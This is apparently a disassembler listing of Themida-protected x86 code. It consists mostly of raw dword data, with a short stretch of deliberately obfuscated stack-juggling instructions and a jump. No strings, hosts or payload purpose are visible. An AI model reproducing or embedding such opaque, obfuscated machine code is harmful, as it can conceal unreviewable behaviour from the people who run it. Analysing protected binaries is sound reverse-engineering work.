		dd 0AA7719Fh, 0DADE5850h, 83BD9719h, 5BD1B350h,	0FC2F692Dh
		dd 273EACEh, 0E487F74Fh, 34AD2636h, 13B62C1Ch, 830244F2h
		dd 168C1320h, 6FA4D279h, 2A04A717h, 0F320BDF0h,	4303B1D2h
		dd 4B16C91Ah, 6E7E38D5h, 0F41C3347h, 0CBADB7Eh,	1327694Ah
		dd 8941DE54h, 3B588BC5h, 0B8AFDF0Eh, 6DB8FEACh,	0D0461327h
		dd 5B90811Fh, 6B9ED8BEh, 3C6DA53Dh, 82B3590h, 0CAFD376Dh
		dd 0EA0F4D27h, 0F01E80ABh, 618CCA26h, 0FD371DC4h, 9DD89CCAh
		dd 0E9583C6Ah, 0B5F9A7C8h, 393A9D14h, 14D393C3h, 65DB3A9Dh
		dd 0C2E293C8h, 52385588h, 0FBB7E518h, 8, 60A17B3Bh, 27959C39h
		dd 2D5B82C2h, 0CEFC2F69h, 72A0CB0Ah, 18466DAEh,	0BDEB1654h
		dd 6290BBF9h, 230639Eh,	0A4D2013Eh, 4775A4E0h, 0E7895786h
		dd 4B951h, 0CF010000h, 4EF8359h, 5C243C87h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], edi
		push	5ADCh
		mov	[esp], edx
		mov	edx, 5EE73DFh
		mov	eax, edx
		pop	edx
		push	27F3h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		push	5C3Ch
		mov	[esp], eax
		pop	dword ptr [edi+8]
		mov	edi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_5461C3
; ---------------------------------------------------------------------------
		db 62h
		dd 4D2BC984h, 8C478D29h, 3B71A669h, 0EE7888B8h,	0FFC50305h
		dd 534AB2E0h, 0A44F4012h, 3055AC6Eh, 0D3B90465h, 57F4314Ah
		dd 508DA10Fh, 0D4037F0Ah, 483C6A73h, 53D9EE57h,	0E7FBB867h
		dd 0B898F97Dh, 9536B247h, 0A939C04h, 0B8CD403Ch, 810FF637h
		dd 0A500B5Ah, 0E27E0421h, 1423E61Eh, 9E260D6Fh,	0CEDD9D41h
		dd 0F3B9494Ah, 2B156139h, 3302BE03h, 84239004h,	568D8D07h
		dd 6A05EE7Ah, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 15042444h, 45000000h, 3CCDC355h, 8D89C18Bh, 5E92655h
		dd 68D0Fh, 0E6810000h, 34B9F865h, 80585C7h, 6F3005E9h
		dd 0BD8B0000h, 5E908E5h, 163D85C7h, 5E9h, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 27AA16C3h, 0DC79FDDFh, 0DB810058h, 7E085478h, 30EDB5FFh
		dd 6A05E9h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 1F9CFFC3h, 8529B012h, 5E91EF1h, 0BC595FFh
		dd 6A05E9h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
		dd 57470000h, 0FF6556C3h, 0E94A85DFh, 8D2907D6h, 5E92245h
		dd 95FF006Ah, 5E91E95h,	6CEBC08Bh, 2BC0A5CEh, 989E6DCAh
		dd 0EB07C13Dh, 0D0A6960Eh, 1E9AF98h, 0B80DE3C1h, 0DD9CC50Eh
		dd 0D5FC907Bh, 1CC3BD48h, 6096B030h, 22FCC79Fh,	77203B9h
		dd 0A0FDA4C2h, 45B05527h, 599F121Ch, 0FAF9B079h, 22487491h
		dd 5A03A10Dh, 61393360h, 0CFA3228Eh, 5F69075Fh,	3ED0DCF1h
		dd 44BC02A2h, 87A78BD8h, 0BAC08EAFh, 846B33AAh,	0ABA67370h
		dd 7E8h, 70DC9100h, 0B8A5B69Bh,	3850Fh,	0BF0F0000h, 0BD295EFBh
		dd 5E92BD9h, 6E71C681h,	870F0000h, 3, 0BAC38B66h, 6B8D4ADCh
		dd 2F78EA81h, 0BD8B6B8Dh, 5E92FDDh, 8B6636FFh, 7E859C1h
		dd 0A000000h, 7775E848h, 852B9353h, 5E9020Dh, 3DE98158h
		dd 892EFBC5h, 0E900059Dh, 0DCE98105h, 0F6BA40Ch, 882h
		dd 2840F00h, 8A000000h,	7CC181C6h, 896A8431h, 0E931D195h
		dd 0E90E8905h, 0Fh, 6FC7A872h, 6DBD9A76h, 811DAC47h, 81AFDBFFh
		dd 818C05EEh, 10E916h, 0D7540000h, 334F45B5h, 37861B7Eh
		dd 0BC8AC945h, 0C681CC8Ch, 16818C01h, 0CC0FB866h, 1EA81h
		dd 850F0000h, 0Dh, 1CE9F8h, 0E1EC0000h,	0E517CA55h, 48D0F97h
		dd 66000000h, 0E903C6B8h, 0FFFFFF58h, 4C0ACEF1h, 66E9793Bh
		dd 60000002h, 0F6D98C66h, 840F04C1h, 35h, 0B5FF016Ah, 5E92345h
		dd 7A6F858Dh, 0D0FF05ECh, 0E358589h, 0FE8B05E9h, 680CEFC1h
		dd 20060000h, 26A006Ah,	0D6857h, 95FF0001h, 5E90E35h, 32E9h
		dd 0E585C600h, 5605E90Eh, 0C530DF68h, 0FDB5FFA9h, 8D05E91Eh
		dd 0EC7A6F85h, 89D0FF05h, 0E9314585h, 0D858D05h, 5005E91Eh
		dd 56A406Ah, 4595FF56h,	6105E931h, 0C3h, 2 dup(0)
		dd 0D48B5200h, 8428B60h, 7C348589h, 428B05EEh, 2C85890Ch
		dd 8B05EE7Ch, 85891042h, 5EE7C30h, 7C6AB58Dh, 858D05EEh
		dd 5B7E35h, 5A61D0FFh, 8B000CC2h, 0EE7C34B5h, 2C858B05h
		dd 8305EE7Ch, 0EE7C30BDh, 840F0005h, 7,	2E90689h, 88000000h
		dd 0CF06h, 0
		dd 8B520000h, 428B60D4h, 34858908h, 8D05EE7Ch, 0EE7CBBB5h
		dd 35858D05h, 0FF005B7Eh, 8B5A61D0h, 0EE7C3485h, 4C205h
		dd 7C34858Bh, 8B05EEh, 7C348589h, 0CF05EEh, 60000000h
		dd 7C91B589h, 858905EEh, 5EE7C8Dh, 25D1858Dh, 408B05E9h
		dd 0CA858944h, 8D05EE7Ch, 0EE7D00B5h, 35858D05h, 0FF005B7Eh
		dd 858B61D0h, 5EE7C91h,	8D9D8BC3h, 0F05EE7Ch, 33C43B7h
		dd 785B8BD8h, 7C8D9D03h, 738B05EEh, 8DB50324h, 5605EE7Ch
		dd 8B207B8Bh, 0BD031C73h, 5EE7C8Dh, 7C8DB503h, 83FC05EEh
		dd 8B41FFC9h, 0EE7C919Dh, 3178B05h, 0EE7C8D95h,	4C78305h
		dd 0C084028Ah, 0F840Fh,	33A0000h, 0FFDC850Fh, 4243FFFFh
		dd 0FFFFE7E9h, 0F033AFFh, 0FFFFCD85h, 0E1D15FFFh, 0F04B70Fh
		dd 386048Bh, 0EE7C8D85h, 91858905h, 8B05EE7Ch, 8BCE8BF0h
		dd 0CABD81C1h, 5EE7Ch, 0FC03000h, 0D85h, 14E8C100h, 0FFC25h
		dd 8E900h, 0E8C10000h, 3FF82512h, 0BD8B0000h, 5EE7CCAh
		dd 6070C83h, 8B07148Bh,	3C8124C2h, 0FC18B81h, 5784h, 0CABD8100h
		dd 5EE7Ch, 0FC03000h, 0D85h, 0AE8C100h,	3FFFFC25h, 8E900h
		dd 0E8C10000h, 0FFF82509h, 2D007Fh, 83400000h, 0F70608h
		dd 80h,	1E840Fh, 0BD810000h, 5EE7CCAh, 0C0300000h, 0E840Fh
		dd 0F8250000h, 8B00003Fh, 60000080h, 60883C0h, 38858DCFh
		dd 8905EE7Ch, 0E90EB585h, 0CE858D05h, 8905EE7Ch, 0E9078185h
		dd 95858D05h, 8905EE7Ch, 0E92E0185h, 0DC8D8D05h, 8B05EE7Eh
		dd 558D89C6h, 6A05E926h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 0D1D3C357h,	5CC84554h
		dd 0E935F56Fh, 0Ch, 8CA7C70h, 8F597D31h, 48635C1Ch, 80585C7h
		dd 74B805E9h, 0FA8B0000h, 163D85C7h, 5E9h, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 0A33744C3h, 3B90BED2h, 0B589007Ah, 5E91855h,	10E9B5FFh
		dd 858905E9h, 5E92B55h,	0BC595FFh, 6A05E9h, 1E9595FFh
		dd 0C08B05E9h, 0F1277FEBh, 0ACB600B4h, 28FF18A2h, 25016518h
		dd 1F263D87h, 406E003Ch, 0EAC15688h, 0ED08F60Fh, 74DBD695h
		dd 0B6057ADAh, 1F8CDD9Fh, 5AED1702h, 0AA65D3AAh, 0DAB04454h
		dd 873DAE4Eh, 0ADEE1945h, 17EC2813h, 0B4296227h, 0B952A6F8h
		dd 5D62D3h, 70212AF9h, 0D677D216h, 2B078195h, 2890C753h
		dd 0E5914DA3h, 878261h,	0EA00D883h, 6C6C81D8h, 8773FFA9h
		dd 48F5786Bh, 0B0A53E5Dh, 0CD634F75h, 0AE802h, 7BB50000h
		dd 575AF808h, 0C3790A1Dh, 0A9958950h, 5B05E926h, 118A0F5Fh
		dd 0E8000000h, 5, 0E091CE86h, 8E0F93h, 5E000000h, 5A83C781h
		dd 0BE660000h, 72B932A7h, 0F000016h, 685h, 399D8B00h, 0FF05E922h
		dd 11E937h, 6D510000h, 0CD4543F3h, 3FC185C4h, 0C1FAC9D5h
		dd 5AE96B26h, 0BE8h, 32622600h,	0A7419C69h, 0D8E52ADh
		dd 7159D29h, 815E05E9h,	6D7CAFF2h, 0E3816663h, 0EA8137CDh
		dd 2DAEB95Fh, 27C281FCh, 0F6586D1h, 1789F1B7h, 61AAFDBEh
		dd 4EF8314h, 35D68166h,	850F4931h, 0FFFFFF9Fh, 14E9h, 6629F400h
		dd 2229982Ah, 9C7E224h,	83D80CB2h, 147BD130h, 8C1150DCh
		dd 0E04843E9h, 15AC44A5h, 173B2F1h, 7D378B05h, 0AC721C79h
		dd 0EF87A5FFh, 91874982h, 0DA268330h, 0AE7A3947h, 118A6D23h
		dd 0AD329E31h, 0AC393E3Fh, 57BCDD30h, 0AC3442D9h, 2D512130h
		dd 0F62767F9h, 84D260B3h, 0A337EBD9h, 0AC377AB4h, 0F6180230h
		dd 22DEB229h, 0CA37EE33h, 29BAA4BBh, 0A9D93B74h, 0AC37D0D9h
		dd 0ED38A530h, 0BAA2DAE0h, 6528E21Dh, 57BC829Ch, 25C85C60h
		dd 4DB65334h, 0E7E08074h, 2C1158BDh, 1351EBDEh,	2667BD38h
		dd 883332FEh, 0AC31583Fh, 46B6EE30h, 0A1548A84h, 0A1662ECFh
		dd 2D57D8D9h, 0B7DEAAE7h, 0CD6DC23Dh, 0AC5D7BBBh, 0AC343563h
		dd 0F717EE30h, 0F0BE2CF3h, 0E8B6BF14h, 0AC2CD914h, 0FF74EE30h
		dd 9CF345F3h, 18E5AE98h, 0AC38351Bh, 66BAEE30h,	0DDBC058Fh
		dd 93C5D956h, 9490BBECh, 2F96FA6h, 0F36ACC60h, 0BA7A06B3h
		dd 0D937D8D9h, 8D8A6D39h, 0AC329E21h, 0FF67A244h, 0D68F1DBBh
		dd 2537EE34h, 4514CEB5h, 68AA3635h, 53323688h, 2F6FB5E3h
		dd 4526568Dh, 0BB43BB35h, 0D68F8E60h, 2537EE34h, 4514CEB5h
		dd 1FAA3635h, 53323685h, 0A36FB5E3h, 0AC3771B9h, 34F93A30h
		dd 0C6347065h, 0AFDFBC30h, 8C377730h, 256D786Ah, 2D33F964h
		dd 0B133CA74h, 0EE377730h, 85B07862h, 0BA8D4917h, 85250054h
		dd 0AC5DB7BBh, 0AC345367h, 0F317DD30h, 0D0BEB1F3h, 0E8B67314h
		dd 0AC2ABF14h, 0FB70DD30h, 5BF8C5F3h, 87E798CAh, 26D7B74Ah
		dd 82AA50E5h, 163200B0h, 0D9DB7811h, 5589DD63h,	29BA8240h
		dd 0A9D9B101h, 0AC37FB3Fh, 7CC8BB30h, 0AC3D3550h, 82E4EE30h
		dd 4F647089h, 3E788517h, 276C8267h, 6C3C8FE3h, 0AC4DF33Fh
		dd 0AC5DBB30h, 0AC343565h, 0F117EE30h, 0C0BE2AF3h, 0E8B6BF14h
		dd 0AC23D914h, 0F972EE30h, 0A9DE7AF3h, 0CC37BB30h, 0B25417C9h
		dd 0E25A73BDh, 0AF8F72D9h, 0C637BB30h, 0AFDF8E30h, 8C37EE30h
		dd 256CB46Bh, 2D339F6Ch, 0B933F974h, 0EF37EE30h, 3441B463h
		dd 44FF3056h, 0AC37DD3Bh, 1A1218B2h, 51501E4Fh,	4543B281h
		dd 0AC37DD36h, 291D8B63h, 53680BE7h, 0A9BEB4D3h, 1237DD30h
		dd 85531F2Ah, 2C01EABDh, 0AC5DBEDEh, 0AC343565h, 0F117EE30h
		dd 0C0BE2AF3h, 0E8B6BF14h, 0AC2DD914h, 0F972EE30h, 0C7FB67F3h
		dd 0F833DA3Fh, 0F2670DBBh, 0F3066BBDh, 0AC5D72DEh, 0AC345366h
		dd 0F217DD30h, 0D8BEB0F3h, 0E8B67314h, 0AC23BF14h, 0FA71DD30h
		dd 1B38B0F3h, 0AFB978E7h, 0CA37BB30h, 7CC82EBBh, 4464EE5Ah
		dd 0AC377733h, 0F7F4E010h, 0A81381B9h, 0A813AAB1h, 0AC377725h
		dd 35F4E873h, 0AC273424h, 0F8B9EE30h, 7A69FF68h, 3B7D48AEh
		dd 9B336782h, 7E8585D3h, 2838B73Bh, 0AC37BB4Eh,	4464DD5Ah
		dd 0AC37EE33h, 0F7F42C10h, 0A813E7B9h, 0A81399B1h, 0AC37EE29h
		dd 5FF42473h, 0BB96E287h, 0CAC656B2h, 21598789h, 45791AADh
		dd 0FB37D135h, 0AC37DED8h, 6F68CE30h, 884BFE6Fh, 88733A34h
		dd 0AC37C634h, 6F60A930h, 585373C1h, 0A9BBF8DCh, 0AD8F26BBh
		dd 0C637EE30h, 0AFDF2130h, 8C37BB30h, 25691E6Eh, 2D33CA44h
		dd 0B9335374h, 0EA37BB30h, 0CC3E1E66h, 53CF593Fh, 42B611D3h
		dd 31BA259Ch, 0A9D95D0Bh, 9DB263C9h, 0C632996Fh, 0AFDFED30h
		dd 8C37DD30h, 25692D6Eh, 2D335344h, 0BB339F74h,	0EA37DD30h
		dd 0C11E2D66h, 1B380F0Bh, 0CCE744FBh, 0A5DE13BBh, 8B37EE30h
		dd 7D2CC859h, 0E1C141FCh, 0A3F7D651h, 0AC37D2B4h, 0ACBA7830h
		dd 2137BB30h, 4579B0ADh, 4EEE6F35h, 146142A1h, 0AC37BB33h
		dd 0AC325E3Fh, 0EF8EEE30h, 5309FC4Ch, 0AC2452D3h, 927ADD30h
		dd 0E3F5E625h, 0E3B7CD46h, 0A77A7674h, 0BE8A4C85h, 0A7DEAD26h
		dd 0E8377730h, 0AD4A12BAh, 927AA33Dh, 4557E625h, 0AC37773Bh
		dd 0E20213E0h, 6885EC67h, 0CC28B480h, 0F6672C60h, 11BADA51h
		dd 0A9D95D14h, 286663BDh, 0D18F72DEh, 9FBDF06Ch, 451A10B5h
		dd 6DF8C535h, 1EABDD9h,	5DBEDE2Ch, 343565ACh, 17EE30ACh
		dd 0BE2AF3F1h, 0B6BF14C0h, 0E98314E8h, 8BA4F305h, 10E9C0h
		dd 0F4BD0000h, 6320FBC7h, 0F5A719ACh, 628587FDh, 880F964Fh
		dd 0
		dd 0B6C38BF9h, 0B9C08B66h, 11B3208Dh, 164DBD83h, 750005E9h
		dd 21BD8309h, 5E911h, 53501974h, 7AB8C08Bh, 89000004h
		dd 0E905AD85h, 2B9D8D05h, 0FF05EBB9h, 83585BD3h, 0E91121BDh
		dd 17740005h, 7AB85350h, 89000004h, 0E905AD85h,	0CC9D8D05h
		dd 0FF05EBB5h, 0F585BD3h, 0B86h, 5830F00h, 0BE000000h
		dd 4D2A681Fh, 78A1EA81h, 0E9604188h, 0Bh, 18135DC7h, 3CA96B66h
		dd 0E9ECBCEAh, 8, 0C84F5493h, 0C1438F46h, 0E9C08B61h, 13Ch
		dd 4Fh dup(0)
		dd 2FB1BD83h, 0F0105E9h, 53B84h, 8B666000h, 6184B2F8h
		dd 0EE585C6h, 604305E9h, 0E9D78B66h, 7,	41841A64h, 61479BFFh
		dd 154D9568h, 0E9525093h, 0Bh, 856F6C4Ah, 0A8C5525Ah, 0F764AD0h
		dd 0BB666031h, 90BB0D6Fh, 614CBAB6h, 3481585Ah,	0B09D6024h
		dd 56006A7Fh, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1C04h
		dd 0C3564600h, 0A4A6A2FAh, 0B27B07D1h, 1870F16h, 0F8000000h
		dd 28A0F60h, 56000000h,	92F5805Bh, 0FDB5FF61h, 0F05E91Eh
		dd 887h, 2890F00h, 60000000h, 6F858D61h, 0F05EC7Ah, 0B83h
		dd 6E900h, 859D0000h, 6D96080h,	6AD0FFF5h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 0B7C7C350h
		dd 8B66609Dh, 61FD8ADFh, 858589F9h, 0E905E901h,	0Dh, 11463201h
		dd 7483FFEh, 0F733F638h, 0E585C67Eh, 5005E90Eh,	0D73168F8h
		dd 5250F707h, 5E9h, 3F826900h, 310FF5ACh, 9E860h, 0F31E0000h
		dd 0E344A5CAh, 5FA95526h, 5A616160h, 24348158h,	5FAA7A67h
		dd 1890Fh, 0FFF50000h, 0E91EFDB5h, 11E905h, 0DE7E0000h
		dd 6BB26E82h, 0AFE01D05h, 261C9981h, 8D3E3598h,	0EC7A6F85h
		dd 0D0FFF505h, 1820F60h, 0F5000000h, 858961F5h,	5E91011h
		dd 0EE9h, 0DEF90C00h, 2C5C17EBh, 0E3E85691h, 6829C2AAh
		dd 0B92BD81Ch, 13800Fh,	0EE90000h, 17000000h, 9583EB0Ah
		dd 0B968050Ch, 6C55BBE9h, 240481E0h, 3763D013h,	0BE6660FCh
		dd 9E923BCh, 35000000h,	5D2D5232h, 4763E9B1h, 0FDB5FF61h
		dd 6A05E91Eh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 80CCC351h, 1732B8A1h, 8DFC4A1Dh
		dd 0EC7A6F85h, 0DE905h,	6A3E0000h, 14371F27h, 0CD82FB8h
		dd 0FF240CFEh, 14860FD0h, 60000000h, 0AE8C18Bh,	47000000h
		dd 85039A94h, 0EED2396h, 89615A20h, 0E90E7585h,	0C840F05h
		dd 0F000000h, 68Ah, 8E0F00h, 0C6000000h, 0E90EE585h, 6A5005h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 301B00C3h, 0F58E1B9h, 1786h,	12E900h, 53B70000h, 0AA5F7CD3h
		dd 7E824E26h, 9D141AD4h, 0C571088Ah, 11E9h, 2ADD700h, 0BF4F810Dh
		dd 26155461h, 7D13D067h, 21689D73h, 0E94D0B1Ch,	0Fh, 0E43609B3h
		dd 0A2F3F6F8h, 7FE2ECA5h, 81534FE5h, 0C0352404h, 5E94A91h
		dd 59000000h, 0F2B25FD4h, 2345B5FFh, 14E905E9h,	1C000000h
		dd 10A8054Ch, 0F51CB6B0h, 6CF2B1E4h, 0ED8028B7h, 8D92C2DDh
		dd 0E939CF85h, 7860F05h, 0F000000h, 181h, 0D0FFF800h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0EFC35040h, 6103D6CDh
		dd 894FF1B0h, 0E90CA185h, 57006A05h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 0AAF12583h
		dd 5840F60h, 66000000h,	171CCE81h, 0DE9h, 47BCF300h, 0F48AF105h
		dd 297F76BAh, 0E96105CFh, 1F0h,	0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 15h, 2AC35040h, 6095FC45h, 0EE9h
		dd 0F2861C00h, 35E0235Bh, 83FE8D16h, 6637B9FEh,	612899B8h
		dd 60525050h, 4A5B866h,	0DE9h, 33CC5800h, 0AA07CA65h, 0ECF4C7Eh
		dd 0F6153F2h, 2860F31h,	60000000h, 95585A61h, 12E9h, 7842C900h
		dd 0F42C9142h, 1AEA0A34h, 0AEB1084Ah, 60E747BEh, 0EE9DA8Bh
		dd 0D7000000h, 0ED2FB300h, 0F22C6762h, 5F32F99h, 0EC8B61D5h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0FC35343h
		dd 0FC695236h, 5E9h, 784DE800h,	820FADF7h, 1Bh,	8E0F60h
		dd 0E9000000h, 0Eh, 0D9F02847h,	242FB436h, 3D9DD999h, 836147F4h
		dd 0F60FCC4h, 6061FBB7h, 10E9h,	29052F00h, 0B1EE9535h
		dd 61C56554h, 0C8EF22E2h, 1880F66h, 0FC000000h,	0E8h, 0EA815A00h
		dd 5EE8AB8h, 0FC45C7h, 83000000h, 0E92FB1BAh, 840F0105h
		dd 98h,	6A006A52h, 8592FF0Fh, 5A05E901h, 851F8289h, 9A8D05EEh
		dd 5EE8523h, 2803C752h,	53000001h, 1192FF50h, 5A05E910h
		dd 239A8D52h, 5305EE85h, 851FB2FFh, 92FF05EEh, 5E90CA1h
		dd 74C00B5Ah, 239A8D50h, 8D05EE85h, 0C933247Bh,	104F981h
		dd 0D4740000h, 393C8141h, 4558452Eh, 348DEE75h,	0C752B39h
		dd 1FB1BA8Dh, 4D8B05E9h, 32A4F30Ch, 0FF52AAC0h,	828D0875h
		dd 5E91FB1h, 7592FF50h,	5A05E90Eh, 0A075C00Bh, 1FC45C7h
		dd 0EB000000h, 0FC45C707h, 0
		dd 0FC458B61h, 8C2C9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 16h, 4BC35343h, 0E9F911A1h, 0Ch, 0E26888E2h
dword_596D68	dd 44890FA3h, 8E57E5D7h, 8D8DD28Bh, 5EE8C4Bh, 0FA1B58Bh
					; DATA XREF: Themida_:005556EFo
		dd 8D8905E9h, 5E92655h,	2840Fh,	0F28B0000h, 80585C7h, 72C805E9h
		dd 85C70000h, 5E9163Dh,	0
		dd 2EF59529h, 0B5FF05E9h, 5E910E9h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 15h, 0C9C35040h,	9DBD89E2h, 0FF05E92Fh
		dd 0E90BC595h, 53006A05h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1D04h, 0C3534300h, 58C0FCADh, 87EE53A4h
		dd 12E9283Ch, 42000000h, 7AC04ED4h, 4949B5D3h, 1D8EE255h
		dd 5947D07Bh, 0FF006A51h, 0E91E9595h, 0EBC08B05h, 0BF21D37Fh
		dd 0A660983h, 6B725F94h, 0A2EC6545h, 0F427C9D8h, 0C87F4F41h
		dd 59DD9A16h, 0EF5E332Fh, 0C6F109F4h, 3984D245h, 94E918DCh
		dd 44DC25B4h, 35F156F8h, 0E1E08F6Dh, 7FD9DB81h,	44D4D012h
		dd 59C32830h, 5095EF25h, 7789906Eh, 932ECDB7h, 4F5CA8F1h
		dd 0A2D59E60h, 129A1DE7h, 0A9D6033Dh, 0A9942C31h, 0E4570B97h
		dd 365620Bh, 67216B7Eh,	0C6EBDFA5h, 862FA62Fh, 0BBD581D3h
		dd 751C3671h, 6AC08Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 0D1F9E9C3h, 5069C902h, 9E9h, 6925EB00h
		dd 43A7078Dh, 835B4C19h, 0E9164DBDh, 9750005h, 1121BD83h
		dd 740005E9h, 8B535019h, 3FCB8C0h, 85890000h, 5E923B9h
		dd 0B8C49D8Dh, 0D3FF05EBh, 0BD83585Bh, 5E91121h, 50177400h
		dd 3FCB853h, 85890000h,	5E923B9h, 0B5B39D8Dh, 0D3FF05EBh
		dd 6A585Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 7ED5C2C3h, 2C925A45h, 8166C56Fh, 0F334DF3h
		dd 0C08BD6B7h, 0F61DB80h, 0C86h, 68E0F00h, 81000000h, 0ECDD53F3h
		dd 0BDBD8328h, 105E901h, 54840Fh, 9E90000h, 19000000h
		dd 24233FDFh, 0E2B9E30Dh, 28E5BD83h, 0F0005E9h,	3985h
		dd 8B665000h, 0BD835BDFh, 5E91EDDh, 0AC840F00h,	6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 0F697C355h, 6ACBCEE0h, 0C983BB22h, 66E93235h
		dd 6A000003h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 9266C356h, 0F93BCC40h,	0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0EC35242h
		dd 33C10E4h, 0F7DC0C7h,	384h, 30F28000h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 17h, 0CCC35141h, 0FACA12Ch
		dd 587h, 0F2816600h, 23BB0A9Ah,	2E2D5729h, 3F420DF6h, 0E8CA5B46h
		dd 4D84B343h, 0AA68041Bh, 471D044Ch, 0C0EF36CEh, 0CCAAB6AFh
		dd 5C16389Ch, 3896E593h, 0E8CCB791h, 0E31E3225h, 3AC55B8Ah
		dd 6709B343h, 0DC9A18A5h, 0AE982A8Ah, 0A3CCB345h, 53CC3326h
		dd 0BD961573h, 74CCB3ABh, 0D74DEE43h, 18223D87h, 6699B329h
		dd 47CCB340h, 0FE0FEE63h, 0D5E8DFCAh, 0ECE8F7C2h, 74CCB359h
		dd 0B10FE606h, 6D54C8E6h, 8EA661E4h, 47CF5B15h,	0FDECB343h
		dd 0A545ED80h, 0AC4DB767h, 74D6B767h, 6C8AB343h, 0F2ED9080h
		dd 422D5652h, 47CCB5ABh, 0BA84E243h, 50113248h,	9BD15699h
		dd 0B447E85Ah, 353045C3h, 1DCCB7C7h, 7647D343h,	9647E322h
		dd 0C5E8B7CAh, 0D0C365C8h, 8E32970Fh, 1C7B50C2h, 6BCCD91Bh
		dd 1DCCB0ABh, 4D959343h, 63803A1Ah, 87883247h, 0D1CCA647h
		dd 2B9DF243h, 0A87BF41Eh, 3ACEBF46h, 31BA0943h,	8647D041h
		dd 0CCAA69C8h, 1B304F0Bh, 0D1CCB342h, 9DB329h, 74CCB340h
		dd 630FEA63h, 19E8FFCAh, 8AE8F7C2h, 47CCB356h, 0B40FE202h
		dd 0D1CB5A6Dh, 0CBFFB343h, 0B7D6CE3Bh, 3ADC5B10h, 2FF1B343h
		dd 0EA99B029h, 5C73DA64h, 55367F92h, 6EC3F50Eh,	5F9CE89Dh
		dd 50C03A78h, 819A64C8h, 2B2EEA4Ch, 5740D519h, 0AF9EB329h
		dd 0A3CCB340h, 8B0FE963h, 0ECE8E7CAh, 70E8F7C2h, 3ACCB358h
		dd 0D40FE101h, 1785D693h, 0AE16AC97h, 0A3CCB348h, 0C5C9636Ah
		dd 7CC89235h, 82D8B7E2h, 0BFC3B782h, 1DCCB3B3h,	669BB329h
		dd 47CCB340h, 0FC0FEC63h, 0D5E8CFCAh, 0ECE8F7C2h, 74CCB35Bh
		dd 960FE404h, 0C3BF9B83h, 0DFCCD91Ah, 47CCB0ABh, 60959343h
		dd 0F5803A1Ah, 0CC883247h, 74CCAE47h, 0F99DF243h, 1EA7835Eh
		dd 4C4DE67h, 489D49F6h,	239661FCh, 54C3DB7Ah, 0E8CCB3B8h
		dd 0A12F3225h, 3AC75A60h, 5F60B343h, 0C92C36FEh, 994B83EAh
		dd 0A2B5386Ah, 399CB329h, 0E8CCB340h, 2C0FEB63h, 3EE8F7CAh
		dd 19E8F7C2h, 8ECCB35Fh, 5D0FE303h, 0A8702447h,	15468B9h
		dd 0E8CC4CC2h, 0F6C33343h, 3ACCB3F0h, 9CAA65C8h, 49DECAB1h
		dd 0A942A4C6h, 0A3CCB246h, 0DD43BC43h, 0E7CCB343h, 74CCB5CCh
		dd 3A44BC43h, 0F4CCB343h, 8ECCB3CEh, 0AF9AB329h, 0A3CCB340h
		dd 8F0FED63h, 0ECE8C7CAh, 70E8F7C2h, 3ACCB35Eh,	1A0FE505h
		dd 84371296h, 4D119654h, 4A0D057Ah, 0D1CCB31Ch,	0BDCCD91Ah
		dd 74CCB0ABh, 0F9919343h, 39A03A1Eh, 0AA883247h, 47CCAF47h
		dd 6099F643h, 0E11A5B10h, 47BBC2E9h, 0AD47D57Dh, 0B9AA6BC9h
		dd 1233B83Ah, 8ECC99C7h, 15CCD943h, 0A3CCB0ABh,	12969343h
		dd 0CC983A19h, 50883247h, 3ACCA747h, 0DE9EF143h, 9949746Eh
		dd 46C95DCDh, 0C5CCB343h, 9971FAF8h, 83DF0ABFh,	0F141E5ECh
		dd 3F222083h, 8CB40ECEh, 76F7B6ADh, 48FCB437h, 488B7A92h
		dd 262333B6h, 9DB329h, 74CCB340h, 630FEA63h, 19E8FFCAh
		dd 8AE8F7C2h, 47CCB357h, 1C0FE202h, 9CC958C2h, 0BA7AA299h
		dd 75710EC0h, 35CDB6AAh, 1DCC1BC7h, 0DFCCD943h,	47CCB0ABh
		dd 60959343h, 0F5803A1Ah, 0CC883247h, 74CCAA47h, 0F99DF243h
		dd 0FA5EE49Ah, 9E259E0Eh, 90CCB343h, 6F417F71h,	35A64E15h
		dd 0B3129ABFh, 7B7EBDCCh, 3ACCB8CCh, 1DCA5A43h,	3601B343h
		dd 14B9EF0Dh, 8B290EC0h, 0DECCB6AAh, 0E8CCE7C6h, 27CCD943h
